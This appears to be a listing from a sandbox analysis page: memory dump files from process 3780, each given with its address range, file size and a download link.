memory/3780-23-0x0000026B34740000-0x0000026B3477C000-memory.dmp

Filesize
240KB

Download
memory/3780-22-0x0000026B346E0000-0x0000026B346F2000-memory.dmp

Filesize
72KB

Download
memory/3780-19-0x0000026B348B0000-0x0000026B34A72000-memory.dmp

Filesize
1.8MB

Download
memory/3780-25-0x00007FFB99D10000-0x00007FFB9A7D1000-memory.dmp

Filesize
10.8MB

Download
memory/3780-17-0x0000026B34230000-0x0000026B34280000-memory.dmp

Filesize
320KB

Download
memory/3780-0-0x00007FFB99D13000-0x00007FFB99D15000-memory.dmp

Filesize
8KB

Download
memory/3780-15-0x0000026B338F0000-0x0000026B33C14000-memory.dmp

Filesize
3.1MB

Download
memory/3780-14-0x0000026B33790000-0x0000026B338C2000-memory.dmp

Filesize
1.2MB

Download
memory/3780-13-0x0000026B32C80000-0x0000026B32C88000-memory.dmp

Filesize
32KB

Download
memory/3780-12-0x00007FFB99D10000-0x00007FFB9A7D1000-memory.dmp

Filesize
10.8MB

Download
memory/3780-11-0x00007FFB99D10000-0x00007FFB9A7D1000-memory.dmp

Filesize
10.8MB

Download
memory/3780-1-0x0000026B1AAB0000-0x0000026B1AAD2000-memory.dmp

Filesize
136KB

Download